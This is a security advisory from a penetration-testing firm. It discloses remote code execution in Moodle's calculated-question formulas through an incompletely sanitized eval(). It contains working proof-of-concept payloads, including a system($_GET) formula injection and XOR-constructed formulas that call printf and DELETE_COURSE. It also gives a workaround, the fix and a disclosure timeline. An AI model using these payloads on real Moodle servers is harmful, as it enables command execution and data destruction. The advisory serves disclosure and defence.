Contact

Contact us

+49 241 510081-0
kontakt@redteam-pentesting.de
Contact form
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header

Moodle: Remote Code Execution via Calculated Questions

Attackers with the permission to create or modify questions in Moodle courses are able to craft malicious inputs for calculated questions, which can be abused to execute arbitrary commands on the underlying system.

Details

Introduction

Moodle is a Learning Management System (LMS) designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments.

(from vendor’s homepage)

More Details

Moodle allows trainers to create “calculated questions”, which offer a way to create individual numerical questions by the use of wildcards (i.e. you can use common variables names as x , y enclosed in curly braces to create the wildcards {x} and {y}) that are substituted with random values when the quiz is taken. Furthermore, they allow to specify a formula that is used to calculate the correct answer for the individual question.

It was found that the result verification is realized by passing the formula to the php eval() function after sanitizing it for malicious inputs. However, this sanitization is not complete, thus allowing attackers to execute arbitrary commands.

Two different approaches were identified to circumvent the sanitization logic.

First, undefined variables are not substituted at all before being passed to the eval() function, leaving them untouched as part of the formula. Additionally, the sanitization checks for variable names are less strict than the implemented checks for all other parts of the formula. This can be abused to call arbitrary functions when using the PHP object->{"member"} syntax.

Next, the list of explicitly allowed mathematical functions can be used to construct arbitrary function names as strings using bit-wise operations, which can be called as variable functions when followed by parentheses. The only identified way to add the required parentheses is by using the built-in variable substitution, thus allowing attackers to call arbitrary functions defined in the Moodle context while passing a single numeric argument. The output of the function is revealed to attackers.

Proof of Concept

First approach:

As a trainer, open the question bank, add a new calculated question. Set the question text to {b} and the answer formula to (1)->{system($_GET[chr(97)])}. Set the grade to 100% for this answer.

After saving, the dataset has to be configured. To prevent the variable {system($_GET[chr(97)])} from being substituted, the respective drop-down list that is used to determine if the variable is a private or shared dataset can be modified in the web browser’s inspector to the value 0 before being submitted. Set the substitution for variable {b} to use a new private dataset.

Go to the next page, note the error that a parameter is missing for the system command. Supply the desired command by appending &a=[arbitrary command] to the URL. The output of the specified system command will be included at the top of the resulting HTTP response.

Second approach:

As a trainer, open the question bank, add a new calculated question. Set the question text to {a} and the answer formula to {a}. Set the grade to 100% for this answer.

Save, go to the next page and define the value range for {a} to the desired numeric parameter passed to the function to be called.

Save the question, then edit it again. Set the answer formula to:

((acos(2) . 0+acos(2)) ^ (-4 . 6 . 0 . 0 . 0) ^ (3 . -3 . 0 . 0 . 0) ^
(0 . 9 . 0 . 0 . -8) ^ (0 . 3 . 2 . 0 . 8 . 0)){a}

The above expression evaluates to the string PRINTF and the variable {a} will later be substituted by the number in the data set enclosed in parentheses.

Saving the modified question will result in an error, but the question will still be saved. Go back to the question bank and preview the question. Note that the previously defined number is printed to the beginning of the preview page, showing that the printf() function was indeed executed.

To demonstrate the impact of this approach, the following formula can be used instead:

((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^
(9 . 5 . 3 . 9 . -9 . -3 . 3 . -8 . -9) ^
(3 . 1 . 1 . 2 . 8 . 2 . 9 . 1 . 2 . 6 . -1 . 2) ^
(0 . 0 . 0 . 0 . 0 . 0 . 5 . 0 . 0 . 0 . 6 . 1 . 0) ^
(0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0)){a}

This formula evaluates to the DELETE_COURSE function, which deletes the course with the specified ID, bypassing any permission checks.

Workaround

Patch the sanitization function qtype_calculated_find_formula_errors in /question/type/calculated/questiontype.php to always return false if calculated questions are not used.

Alternatively, remove the permission to create or modify questions from users who cannot be trusted to the same degree as a server administrator.

Fix

Upgrade Moodle to a version without the vulnerability.

Security Risk

Attackers who can create or modify questions in any course can execute arbitrary commands on the underlying system. Consequently, this vulnerability poses a high risk.

Timeline

  • 2024-07-05 Vulnerability identified
  • 2024-07-10 Customer approved disclosure to vendor
  • 2024-07-12 Vendor notified
  • 2024-08-10 Vendor released fixed version
  • 2024-08-19 Vendor released security announcement
  • 2024-08-23 Customer approved release of advisory
  • 2024-08-27 Advisory published

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/